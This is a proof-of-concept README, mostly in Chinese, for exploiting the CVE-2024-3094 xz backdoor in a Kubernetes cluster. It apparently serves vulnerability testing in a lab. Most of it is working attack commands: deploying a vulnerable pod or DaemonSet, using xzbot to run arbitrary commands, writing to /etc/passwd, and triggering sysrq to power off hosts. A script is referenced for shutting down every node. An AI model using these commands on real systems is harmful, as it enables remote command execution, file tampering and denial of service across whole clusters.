
Basic POC to test CVE-2024-3094 vulnerability inside K8s cluster
用于在K8s集群中测试CVE-2024-3094漏洞的基础POC
我们将部署一个易受攻击的Pod并利用它在该Pod内执行命令,出于安全原因,我们在同一网络中操作。我们不会将易受攻击的Pod暴露到互联网,但原理是相同的。
该漏洞允许在Pod内执行命令,即使Pod以安全上下文运行,你仍可以例如关闭运行该Pod的主机。
如果该漏洞运行在单个Pod中,你可以关闭主机,使该主机上运行的所有服务暂时不可用。但如果漏洞以DaemonSet方式运行,你可以关闭运行该DaemonSet的所有主机,甚至关闭整个集群。
首先,在集群中安装xzbot
go install github.com/amlweems/xzbot@latest
下载仓库并部署易受攻击的Deployment/DaemonSet
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# 或 DaemonSet
kubectl apply -f daemonset_cve-2024-3094.yml
# 获取Pod名称
kubectl -n vulnes get pods
# 端口转发Pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# 执行命令,例如写入/etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# 检查/etc/passwd文件
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
继续操作,关闭主机
# 启用sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# 关闭主机
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
你也可以关闭所有运行该DaemonSet的主机
source shutdown_nodes.sh
当你执行循环关闭所有主机时,如果收到此错误:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
请给端口转发更多时间准备就绪,你可以增加循环中的休眠时间。
使用的容器镜像是根据仓库中的dockerfile生成的,你可以生成镜像并推送到自己的仓库。
要生成liblzma.so.5.6.0.patch库,你可以使用参考文献中的amlweems仓库。